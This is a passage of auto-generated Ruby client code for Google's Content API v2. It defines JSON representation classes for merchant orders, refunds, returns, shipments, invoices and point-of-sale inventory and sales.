property :target_country, as: 'targetCountry'
property :title, as: 'title'
collection :variant_attributes, as: 'variantAttributes', class: Google::Apis::ContentV2::OrderLineItemProductVariantAttribute, decorator: Google::Apis::ContentV2::OrderLineItemProductVariantAttribute::Representation
end
end
class OrderLineItemProductFee
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :amount, as: 'amount', class: Google::Apis::ContentV2::Price, decorator: Google::Apis::ContentV2::Price::Representation
property :name, as: 'name'
end
end
class OrderLineItemProductVariantAttribute
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :dimension, as: 'dimension'
property :value, as: 'value'
end
end
class OrderLineItemReturnInfo
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :days_to_return, as: 'daysToReturn'
property :is_returnable, as: 'isReturnable'
property :policy_url, as: 'policyUrl'
end
end
class OrderLineItemShippingDetails
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :deliver_by_date, as: 'deliverByDate'
property :method_prop, as: 'method', class: Google::Apis::ContentV2::OrderLineItemShippingDetailsMethod, decorator: Google::Apis::ContentV2::OrderLineItemShippingDetailsMethod::Representation
property :ship_by_date, as: 'shipByDate'
property :type, as: 'type'
end
end
class OrderLineItemShippingDetailsMethod
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :carrier, as: 'carrier'
property :max_days_in_transit, as: 'maxDaysInTransit'
property :method_name, as: 'methodName'
property :min_days_in_transit, as: 'minDaysInTransit'
end
end
class OrderMerchantProvidedAnnotation
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :key, as: 'key'
property :value, as: 'value'
end
end
class OrderPaymentMethod
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :billing_address, as: 'billingAddress', class: Google::Apis::ContentV2::OrderAddress, decorator: Google::Apis::ContentV2::OrderAddress::Representation
property :expiration_month, as: 'expirationMonth'
property :expiration_year, as: 'expirationYear'
property :last_four_digits, as: 'lastFourDigits'
property :phone_number, as: 'phoneNumber'
property :type, as: 'type'
end
end
class OrderPickupDetails
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :address, as: 'address', class: Google::Apis::ContentV2::OrderAddress, decorator: Google::Apis::ContentV2::OrderAddress::Representation
collection :collectors, as: 'collectors', class: Google::Apis::ContentV2::OrderPickupDetailsCollector, decorator: Google::Apis::ContentV2::OrderPickupDetailsCollector::Representation
property :location_id, as: 'locationId'
end
end
class OrderPickupDetailsCollector
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :name, as: 'name'
property :phone_number, as: 'phoneNumber'
end
end
class OrderRefund
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :actor, as: 'actor'
property :amount, as: 'amount', class: Google::Apis::ContentV2::Price, decorator: Google::Apis::ContentV2::Price::Representation
property :creation_date, as: 'creationDate'
property :reason, as: 'reason'
property :reason_text, as: 'reasonText'
end
end
class OrderReportDisbursement
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :disbursement_amount, as: 'disbursementAmount', class: Google::Apis::ContentV2::Price, decorator: Google::Apis::ContentV2::Price::Representation
property :disbursement_creation_date, as: 'disbursementCreationDate'
property :disbursement_date, as: 'disbursementDate'
property :disbursement_id, as: 'disbursementId'
property :merchant_id, :numeric_string => true, as: 'merchantId'
end
end
class OrderReportTransaction
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :disbursement_amount, as: 'disbursementAmount', class: Google::Apis::ContentV2::Price, decorator: Google::Apis::ContentV2::Price::Representation
property :disbursement_creation_date, as: 'disbursementCreationDate'
property :disbursement_date, as: 'disbursementDate'
property :disbursement_id, as: 'disbursementId'
property :merchant_id, :numeric_string => true, as: 'merchantId'
property :merchant_order_id, as: 'merchantOrderId'
property :order_id, as: 'orderId'
property :product_amount, as: 'productAmount', class: Google::Apis::ContentV2::Amount, decorator: Google::Apis::ContentV2::Amount::Representation
property :product_amount_with_remitted_tax, as: 'productAmountWithRemittedTax', class: Google::Apis::ContentV2::ProductAmount, decorator: Google::Apis::ContentV2::ProductAmount::Representation
property :transaction_date, as: 'transactionDate'
end
end
class OrderReturn
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :actor, as: 'actor'
property :creation_date, as: 'creationDate'
property :quantity, as: 'quantity'
property :reason, as: 'reason'
property :reason_text, as: 'reasonText'
end
end
class OrderShipment
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :carrier, as: 'carrier'
property :creation_date, as: 'creationDate'
property :delivery_date, as: 'deliveryDate'
property :id, as: 'id'
collection :line_items, as: 'lineItems', class: Google::Apis::ContentV2::OrderShipmentLineItemShipment, decorator: Google::Apis::ContentV2::OrderShipmentLineItemShipment::Representation
property :status, as: 'status'
property :tracking_id, as: 'trackingId'
end
end
class OrderShipmentLineItemShipment
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :line_item_id, as: 'lineItemId'
property :product_id, as: 'productId'
property :quantity, as: 'quantity'
end
end
class OrderinvoicesCreateChargeInvoiceRequest
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :invoice_id, as: 'invoiceId'
property :invoice_summary, as: 'invoiceSummary', class: Google::Apis::ContentV2::InvoiceSummary, decorator: Google::Apis::ContentV2::InvoiceSummary::Representation
collection :line_item_invoices, as: 'lineItemInvoices', class: Google::Apis::ContentV2::ShipmentInvoiceLineItemInvoice, decorator: Google::Apis::ContentV2::ShipmentInvoiceLineItemInvoice::Representation
property :operation_id, as: 'operationId'
property :shipment_group_id, as: 'shipmentGroupId'
end
end
class OrderinvoicesCreateChargeInvoiceResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :execution_status, as: 'executionStatus'
property :kind, as: 'kind'
end
end
class OrderinvoicesCreateRefundInvoiceRequest
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :invoice_id, as: 'invoiceId'
property :operation_id, as: 'operationId'
property :refund_only_option, as: 'refundOnlyOption', class: Google::Apis::ContentV2::OrderinvoicesCustomBatchRequestEntryCreateRefundInvoiceRefundOption, decorator: Google::Apis::ContentV2::OrderinvoicesCustomBatchRequestEntryCreateRefundInvoiceRefundOption::Representation
property :return_option, as: 'returnOption', class: Google::Apis::ContentV2::OrderinvoicesCustomBatchRequestEntryCreateRefundInvoiceReturnOption, decorator: Google::Apis::ContentV2::OrderinvoicesCustomBatchRequestEntryCreateRefundInvoiceReturnOption::Representation
collection :shipment_invoices, as: 'shipmentInvoices', class: Google::Apis::ContentV2::ShipmentInvoice, decorator: Google::Apis::ContentV2::ShipmentInvoice::Representation
end
end
class OrderinvoicesCreateRefundInvoiceResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :execution_status, as: 'executionStatus'
property :kind, as: 'kind'
end
end
class OrderinvoicesCustomBatchRequestEntryCreateRefundInvoiceRefundOption
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :description, as: 'description'
property :reason, as: 'reason'
end
end
class OrderinvoicesCustomBatchRequestEntryCreateRefundInvoiceReturnOption
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :description, as: 'description'
property :reason, as: 'reason'
end
end
class OrderreportsListDisbursementsResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :disbursements, as: 'disbursements', class: Google::Apis::ContentV2::OrderReportDisbursement, decorator: Google::Apis::ContentV2::OrderReportDisbursement::Representation
property :kind, as: 'kind'
property :next_page_token, as: 'nextPageToken'
end
end
class OrderreportsListTransactionsResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :kind, as: 'kind'
property :next_page_token, as: 'nextPageToken'
collection :transactions, as: 'transactions', class: Google::Apis::ContentV2::OrderReportTransaction, decorator: Google::Apis::ContentV2::OrderReportTransaction::Representation
end
end
class OrderreturnsListResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :kind, as: 'kind'
property :next_page_token, as: 'nextPageToken'
collection :resources, as: 'resources', class: Google::Apis::ContentV2::MerchantOrderReturn, decorator: Google::Apis::ContentV2::MerchantOrderReturn::Representation
end
end
class OrdersAcknowledgeRequest
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :operation_id, as: 'operationId'
end
end
class OrdersAcknowledgeResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :execution_status, as: 'executionStatus'
property :kind, as: 'kind'
end
end
class OrdersAdvanceTestOrderResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :kind, as: 'kind'
end
end
class OrdersCancelLineItemRequest
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :amount, as: 'amount', class: Google::Apis::ContentV2::Price, decorator: Google::Apis::ContentV2::Price::Representation
property :amount_pretax, as: 'amountPretax', class: Google::Apis::ContentV2::Price, decorator: Google::Apis::ContentV2::Price::Representation
property :amount_tax, as: 'amountTax', class: Google::Apis::ContentV2::Price, decorator: Google::Apis::ContentV2::Price::Representation
property :line_item_id, as: 'lineItemId'
property :operation_id, as: 'operationId'
property :product_id, as: 'productId'
property :quantity, as: 'quantity'
property :reason, as: 'reason'
property :reason_text, as: 'reasonText'
end
end
class OrdersCancelLineItemResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :execution_status, as: 'executionStatus'
property :kind, as: 'kind'
end
end
class OrdersCancelRequest
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :operation_id, as: 'operationId'
property :reason, as: 'reason'
property :reason_text, as: 'reasonText'
end
end
class OrdersCancelResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :execution_status, as: 'executionStatus'
property :kind, as: 'kind'
end
end
class OrdersCancelTestOrderByCustomerRequest
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :reason, as: 'reason'
end
end
class OrdersCancelTestOrderByCustomerResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :kind, as: 'kind'
end
end
class OrdersCreateTestOrderRequest
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :country, as: 'country'
property :template_name, as: 'templateName'
property :test_order, as: 'testOrder', class: Google::Apis::ContentV2::TestOrder, decorator: Google::Apis::ContentV2::TestOrder::Representation
end
end
class OrdersCreateTestOrderResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :kind, as: 'kind'
property :order_id, as: 'orderId'
end
end
class OrdersCreateTestReturnRequest
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :items, as: 'items', class: Google::Apis::ContentV2::OrdersCustomBatchRequestEntryCreateTestReturnReturnItem, decorator: Google::Apis::ContentV2::OrdersCustomBatchRequestEntryCreateTestReturnReturnItem::Representation
end
end
class OrdersCreateTestReturnResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :kind, as: 'kind'
property :return_id, as: 'returnId'
end
end
class OrdersCustomBatchRequest
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :entries, as: 'entries', class: Google::Apis::ContentV2::OrdersCustomBatchRequestEntry, decorator: Google::Apis::ContentV2::OrdersCustomBatchRequestEntry::Representation
end
end
class OrdersCustomBatchRequestEntry
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :batch_id, as: 'batchId'
property :cancel, as: 'cancel', class: Google::Apis::ContentV2::OrdersCustomBatchRequestEntryCancel, decorator: Google::Apis::ContentV2::OrdersCustomBatchRequestEntryCancel::Representation
property :cancel_line_item, as: 'cancelLineItem', class: Google::Apis::ContentV2::OrdersCustomBatchRequestEntryCancelLineItem, decorator: Google::Apis::ContentV2::OrdersCustomBatchRequestEntryCancelLineItem::Representation
property :in_store_refund_line_item, as: 'inStoreRefundLineItem', class: Google::Apis::ContentV2::OrdersCustomBatchRequestEntryInStoreRefundLineItem, decorator: Google::Apis::ContentV2::OrdersCustomBatchRequestEntryInStoreRefundLineItem::Representation
property :merchant_id, :numeric_string => true, as: 'merchantId'
property :merchant_order_id, as: 'merchantOrderId'
property :method_prop, as: 'method'
property :operation_id, as: 'operationId'
property :order_id, as: 'orderId'
property :refund, as: 'refund', class: Google::Apis::ContentV2::OrdersCustomBatchRequestEntryRefund, decorator: Google::Apis::ContentV2::OrdersCustomBatchRequestEntryRefund::Representation
property :reject_return_line_item, as: 'rejectReturnLineItem', class: Google::Apis::ContentV2::OrdersCustomBatchRequestEntryRejectReturnLineItem, decorator: Google::Apis::ContentV2::OrdersCustomBatchRequestEntryRejectReturnLineItem::Representation
property :return_line_item, as: 'returnLineItem', class: Google::Apis::ContentV2::OrdersCustomBatchRequestEntryReturnLineItem, decorator: Google::Apis::ContentV2::OrdersCustomBatchRequestEntryReturnLineItem::Representation
property :return_refund_line_item, as: 'returnRefundLineItem', class: Google::Apis::ContentV2::OrdersCustomBatchRequestEntryReturnRefundLineItem, decorator: Google::Apis::ContentV2::OrdersCustomBatchRequestEntryReturnRefundLineItem::Representation
property :set_line_item_metadata, as: 'setLineItemMetadata', class: Google::Apis::ContentV2::OrdersCustomBatchRequestEntrySetLineItemMetadata, decorator: Google::Apis::ContentV2::OrdersCustomBatchRequestEntrySetLineItemMetadata::Representation
property :ship_line_items, as: 'shipLineItems', class: Google::Apis::ContentV2::OrdersCustomBatchRequestEntryShipLineItems, decorator: Google::Apis::ContentV2::OrdersCustomBatchRequestEntryShipLineItems::Representation
property :update_line_item_shipping_details, as: 'updateLineItemShippingDetails', class: Google::Apis::ContentV2::OrdersCustomBatchRequestEntryUpdateLineItemShippingDetails, decorator: Google::Apis::ContentV2::OrdersCustomBatchRequestEntryUpdateLineItemShippingDetails::Representation
property :update_shipment, as: 'updateShipment', class: Google::Apis::ContentV2::OrdersCustomBatchRequestEntryUpdateShipment, decorator: Google::Apis::ContentV2::OrdersCustomBatchRequestEntryUpdateShipment::Representation
end
end
class OrdersCustomBatchRequestEntryCancel
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :reason, as: 'reason'
property :reason_text, as: 'reasonText'
end
end
class OrdersCustomBatchRequestEntryCancelLineItem
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :amount, as: 'amount', class: Google::Apis::ContentV2::Price, decorator: Google::Apis::ContentV2::Price::Representation
property :amount_pretax, as: 'amountPretax', class: Google::Apis::ContentV2::Price, decorator: Google::Apis::ContentV2::Price::Representation
property :amount_tax, as: 'amountTax', class: Google::Apis::ContentV2::Price, decorator: Google::Apis::ContentV2::Price::Representation
property :line_item_id, as: 'lineItemId'
property :product_id, as: 'productId'
property :quantity, as: 'quantity'
property :reason, as: 'reason'
property :reason_text, as: 'reasonText'
end
end
class OrdersCustomBatchRequestEntryCreateTestReturnReturnItem
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :line_item_id, as: 'lineItemId'
property :quantity, as: 'quantity'
end
end
class OrdersCustomBatchRequestEntryInStoreRefundLineItem
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :amount_pretax, as: 'amountPretax', class: Google::Apis::ContentV2::Price, decorator: Google::Apis::ContentV2::Price::Representation
property :amount_tax, as: 'amountTax', class: Google::Apis::ContentV2::Price, decorator: Google::Apis::ContentV2::Price::Representation
property :line_item_id, as: 'lineItemId'
property :product_id, as: 'productId'
property :quantity, as: 'quantity'
property :reason, as: 'reason'
property :reason_text, as: 'reasonText'
end
end
class OrdersCustomBatchRequestEntryRefund
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :amount, as: 'amount', class: Google::Apis::ContentV2::Price, decorator: Google::Apis::ContentV2::Price::Representation
property :amount_pretax, as: 'amountPretax', class: Google::Apis::ContentV2::Price, decorator: Google::Apis::ContentV2::Price::Representation
property :amount_tax, as: 'amountTax', class: Google::Apis::ContentV2::Price, decorator: Google::Apis::ContentV2::Price::Representation
property :reason, as: 'reason'
property :reason_text, as: 'reasonText'
end
end
class OrdersCustomBatchRequestEntryRejectReturnLineItem
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :line_item_id, as: 'lineItemId'
property :product_id, as: 'productId'
property :quantity, as: 'quantity'
property :reason, as: 'reason'
property :reason_text, as: 'reasonText'
end
end
class OrdersCustomBatchRequestEntryReturnLineItem
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :line_item_id, as: 'lineItemId'
property :product_id, as: 'productId'
property :quantity, as: 'quantity'
property :reason, as: 'reason'
property :reason_text, as: 'reasonText'
end
end
class OrdersCustomBatchRequestEntryReturnRefundLineItem
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :amount_pretax, as: 'amountPretax', class: Google::Apis::ContentV2::Price, decorator: Google::Apis::ContentV2::Price::Representation
property :amount_tax, as: 'amountTax', class: Google::Apis::ContentV2::Price, decorator: Google::Apis::ContentV2::Price::Representation
property :line_item_id, as: 'lineItemId'
property :product_id, as: 'productId'
property :quantity, as: 'quantity'
property :reason, as: 'reason'
property :reason_text, as: 'reasonText'
end
end
class OrdersCustomBatchRequestEntrySetLineItemMetadata
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :annotations, as: 'annotations', class: Google::Apis::ContentV2::OrderMerchantProvidedAnnotation, decorator: Google::Apis::ContentV2::OrderMerchantProvidedAnnotation::Representation
property :line_item_id, as: 'lineItemId'
property :product_id, as: 'productId'
end
end
class OrdersCustomBatchRequestEntryShipLineItems
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :carrier, as: 'carrier'
collection :line_items, as: 'lineItems', class: Google::Apis::ContentV2::OrderShipmentLineItemShipment, decorator: Google::Apis::ContentV2::OrderShipmentLineItemShipment::Representation
property :shipment_group_id, as: 'shipmentGroupId'
property :shipment_id, as: 'shipmentId'
collection :shipment_infos, as: 'shipmentInfos', class: Google::Apis::ContentV2::OrdersCustomBatchRequestEntryShipLineItemsShipmentInfo, decorator: Google::Apis::ContentV2::OrdersCustomBatchRequestEntryShipLineItemsShipmentInfo::Representation
property :tracking_id, as: 'trackingId'
end
end
class OrdersCustomBatchRequestEntryShipLineItemsShipmentInfo
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :carrier, as: 'carrier'
property :shipment_id, as: 'shipmentId'
property :tracking_id, as: 'trackingId'
end
end
class OrdersCustomBatchRequestEntryUpdateLineItemShippingDetails
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :deliver_by_date, as: 'deliverByDate'
property :line_item_id, as: 'lineItemId'
property :product_id, as: 'productId'
property :ship_by_date, as: 'shipByDate'
end
end
class OrdersCustomBatchRequestEntryUpdateShipment
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :carrier, as: 'carrier'
property :delivery_date, as: 'deliveryDate'
property :shipment_id, as: 'shipmentId'
property :status, as: 'status'
property :tracking_id, as: 'trackingId'
end
end
class OrdersCustomBatchResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :entries, as: 'entries', class: Google::Apis::ContentV2::OrdersCustomBatchResponseEntry, decorator: Google::Apis::ContentV2::OrdersCustomBatchResponseEntry::Representation
property :kind, as: 'kind'
end
end
class OrdersCustomBatchResponseEntry
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :batch_id, as: 'batchId'
property :errors, as: 'errors', class: Google::Apis::ContentV2::Errors, decorator: Google::Apis::ContentV2::Errors::Representation
property :execution_status, as: 'executionStatus'
property :kind, as: 'kind'
property :order, as: 'order', class: Google::Apis::ContentV2::Order, decorator: Google::Apis::ContentV2::Order::Representation
end
end
class OrdersGetByMerchantOrderIdResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :kind, as: 'kind'
property :order, as: 'order', class: Google::Apis::ContentV2::Order, decorator: Google::Apis::ContentV2::Order::Representation
end
end
class OrdersGetTestOrderTemplateResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :kind, as: 'kind'
property :template, as: 'template', class: Google::Apis::ContentV2::TestOrder, decorator: Google::Apis::ContentV2::TestOrder::Representation
end
end
class OrdersInStoreRefundLineItemRequest
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :amount_pretax, as: 'amountPretax', class: Google::Apis::ContentV2::Price, decorator: Google::Apis::ContentV2::Price::Representation
property :amount_tax, as: 'amountTax', class: Google::Apis::ContentV2::Price, decorator: Google::Apis::ContentV2::Price::Representation
property :line_item_id, as: 'lineItemId'
property :operation_id, as: 'operationId'
property :product_id, as: 'productId'
property :quantity, as: 'quantity'
property :reason, as: 'reason'
property :reason_text, as: 'reasonText'
end
end
class OrdersInStoreRefundLineItemResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :execution_status, as: 'executionStatus'
property :kind, as: 'kind'
end
end
class OrdersListResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :kind, as: 'kind'
property :next_page_token, as: 'nextPageToken'
collection :resources, as: 'resources', class: Google::Apis::ContentV2::Order, decorator: Google::Apis::ContentV2::Order::Representation
end
end
class OrdersRefundRequest
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :amount, as: 'amount', class: Google::Apis::ContentV2::Price, decorator: Google::Apis::ContentV2::Price::Representation
property :amount_pretax, as: 'amountPretax', class: Google::Apis::ContentV2::Price, decorator: Google::Apis::ContentV2::Price::Representation
property :amount_tax, as: 'amountTax', class: Google::Apis::ContentV2::Price, decorator: Google::Apis::ContentV2::Price::Representation
property :operation_id, as: 'operationId'
property :reason, as: 'reason'
property :reason_text, as: 'reasonText'
end
end
class OrdersRefundResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :execution_status, as: 'executionStatus'
property :kind, as: 'kind'
end
end
class OrdersRejectReturnLineItemRequest
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :line_item_id, as: 'lineItemId'
property :operation_id, as: 'operationId'
property :product_id, as: 'productId'
property :quantity, as: 'quantity'
property :reason, as: 'reason'
property :reason_text, as: 'reasonText'
end
end
class OrdersRejectReturnLineItemResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :execution_status, as: 'executionStatus'
property :kind, as: 'kind'
end
end
class OrdersReturnLineItemRequest
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :line_item_id, as: 'lineItemId'
property :operation_id, as: 'operationId'
property :product_id, as: 'productId'
property :quantity, as: 'quantity'
property :reason, as: 'reason'
property :reason_text, as: 'reasonText'
end
end
class OrdersReturnLineItemResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :execution_status, as: 'executionStatus'
property :kind, as: 'kind'
end
end
class OrdersReturnRefundLineItemRequest
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :amount_pretax, as: 'amountPretax', class: Google::Apis::ContentV2::Price, decorator: Google::Apis::ContentV2::Price::Representation
property :amount_tax, as: 'amountTax', class: Google::Apis::ContentV2::Price, decorator: Google::Apis::ContentV2::Price::Representation
property :line_item_id, as: 'lineItemId'
property :operation_id, as: 'operationId'
property :product_id, as: 'productId'
property :quantity, as: 'quantity'
property :reason, as: 'reason'
property :reason_text, as: 'reasonText'
end
end
class OrdersReturnRefundLineItemResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :execution_status, as: 'executionStatus'
property :kind, as: 'kind'
end
end
class OrdersSetLineItemMetadataRequest
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :annotations, as: 'annotations', class: Google::Apis::ContentV2::OrderMerchantProvidedAnnotation, decorator: Google::Apis::ContentV2::OrderMerchantProvidedAnnotation::Representation
property :line_item_id, as: 'lineItemId'
property :operation_id, as: 'operationId'
property :product_id, as: 'productId'
end
end
class OrdersSetLineItemMetadataResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :execution_status, as: 'executionStatus'
property :kind, as: 'kind'
end
end
class OrdersShipLineItemsRequest
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :carrier, as: 'carrier'
collection :line_items, as: 'lineItems', class: Google::Apis::ContentV2::OrderShipmentLineItemShipment, decorator: Google::Apis::ContentV2::OrderShipmentLineItemShipment::Representation
property :operation_id, as: 'operationId'
property :shipment_group_id, as: 'shipmentGroupId'
property :shipment_id, as: 'shipmentId'
collection :shipment_infos, as: 'shipmentInfos', class: Google::Apis::ContentV2::OrdersCustomBatchRequestEntryShipLineItemsShipmentInfo, decorator: Google::Apis::ContentV2::OrdersCustomBatchRequestEntryShipLineItemsShipmentInfo::Representation
property :tracking_id, as: 'trackingId'
end
end
class OrdersShipLineItemsResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :execution_status, as: 'executionStatus'
property :kind, as: 'kind'
end
end
class OrdersUpdateLineItemShippingDetailsRequest
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :deliver_by_date, as: 'deliverByDate'
property :line_item_id, as: 'lineItemId'
property :operation_id, as: 'operationId'
property :product_id, as: 'productId'
property :ship_by_date, as: 'shipByDate'
end
end
class OrdersUpdateLineItemShippingDetailsResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :execution_status, as: 'executionStatus'
property :kind, as: 'kind'
end
end
class OrdersUpdateMerchantOrderIdRequest
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :merchant_order_id, as: 'merchantOrderId'
property :operation_id, as: 'operationId'
end
end
class OrdersUpdateMerchantOrderIdResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :execution_status, as: 'executionStatus'
property :kind, as: 'kind'
end
end
class OrdersUpdateShipmentRequest
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :carrier, as: 'carrier'
property :delivery_date, as: 'deliveryDate'
property :operation_id, as: 'operationId'
property :shipment_id, as: 'shipmentId'
property :status, as: 'status'
property :tracking_id, as: 'trackingId'
end
end
class OrdersUpdateShipmentResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :execution_status, as: 'executionStatus'
property :kind, as: 'kind'
end
end
class PosCustomBatchRequest
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :entries, as: 'entries', class: Google::Apis::ContentV2::PosCustomBatchRequestEntry, decorator: Google::Apis::ContentV2::PosCustomBatchRequestEntry::Representation
end
end
class PosCustomBatchRequestEntry
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :batch_id, as: 'batchId'
property :inventory, as: 'inventory', class: Google::Apis::ContentV2::PosInventory, decorator: Google::Apis::ContentV2::PosInventory::Representation
property :merchant_id, :numeric_string => true, as: 'merchantId'
property :method_prop, as: 'method'
property :sale, as: 'sale', class: Google::Apis::ContentV2::PosSale, decorator: Google::Apis::ContentV2::PosSale::Representation
property :store, as: 'store', class: Google::Apis::ContentV2::PosStore, decorator: Google::Apis::ContentV2::PosStore::Representation
property :store_code, as: 'storeCode'
property :target_merchant_id, :numeric_string => true, as: 'targetMerchantId'
end
end
class PosCustomBatchResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :entries, as: 'entries', class: Google::Apis::ContentV2::PosCustomBatchResponseEntry, decorator: Google::Apis::ContentV2::PosCustomBatchResponseEntry::Representation
property :kind, as: 'kind'
end
end
class PosCustomBatchResponseEntry
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :batch_id, as: 'batchId'
property :errors, as: 'errors', class: Google::Apis::ContentV2::Errors, decorator: Google::Apis::ContentV2::Errors::Representation
property :inventory, as: 'inventory', class: Google::Apis::ContentV2::PosInventory, decorator: Google::Apis::ContentV2::PosInventory::Representation
property :kind, as: 'kind'
property :sale, as: 'sale', class: Google::Apis::ContentV2::PosSale, decorator: Google::Apis::ContentV2::PosSale::Representation
property :store, as: 'store', class: Google::Apis::ContentV2::PosStore, decorator: Google::Apis::ContentV2::PosStore::Representation
end
end
class PosDataProviders
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :country, as: 'country'
collection :pos_data_providers, as: 'posDataProviders', class: Google::Apis::ContentV2::PosDataProvidersPosDataProvider, decorator: Google::Apis::ContentV2::PosDataProvidersPosDataProvider::Representation
end
end
class PosDataProvidersPosDataProvider
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :display_name, as: 'displayName'
property :full_name, as: 'fullName'
property :provider_id, :numeric_string => true, as: 'providerId'
end
end
class PosInventory
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :content_language, as: 'contentLanguage'
property :gtin, as: 'gtin'
property :item_id, as: 'itemId'
property :kind, as: 'kind'
property :price, as: 'price', class: Google::Apis::ContentV2::Price, decorator: Google::Apis::ContentV2::Price::Representation
property :quantity, :numeric_string => true, as: 'quantity'
property :store_code, as: 'storeCode'
property :target_country, as: 'targetCountry'
property :timestamp, as: 'timestamp'
end
end
class PosInventoryRequest
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :content_language, as: 'contentLanguage'
property :gtin, as: 'gtin'
property :item_id, as: 'itemId'
property :price, as: 'price', class: Google::Apis::ContentV2::Price, decorator: Google::Apis::ContentV2::Price::Representation
property :quantity, :numeric_string => true, as: 'quantity'
property :store_code, as: 'storeCode'
property :target_country, as: 'targetCountry'
property :timestamp, as: 'timestamp'
end
end
class PosInventoryResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :content_language, as: 'contentLanguage'
property :gtin, as: 'gtin'
property :item_id, as: 'itemId'
property :kind, as: 'kind'
property :price, as: 'price', class: Google::Apis::ContentV2::Price, decorator: Google::Apis::ContentV2::Price::Representation
property :quantity, :numeric_string => true, as: 'quantity'
property :store_code, as: 'storeCode'
property :target_country, as: 'targetCountry'
property :timestamp, as: 'timestamp'
end
end
class PosListResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :kind, as: 'kind'
collection :resources, as: 'resources', class: Google::Apis::ContentV2::PosStore, decorator: Google::Apis::ContentV2::PosStore::Representation
end
end
class PosSale
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :content_language, as: 'contentLanguage'
property :gtin, as: 'gtin'
property :item_id, as: 'itemId'
property :kind, as: 'kind'
property :price, as: 'price', class: Google::Apis::ContentV2::Price, decorator: Google::Apis::ContentV2::Price::Representation
property :quantity, :numeric_string => true, as: 'quantity'
property :sale_id, as: 'saleId'
property :store_code, as: 'storeCode'
property :target_country, as: 'targetCountry'
property :timestamp, as: 'timestamp'
end
end
class PosSaleRequest
# @private
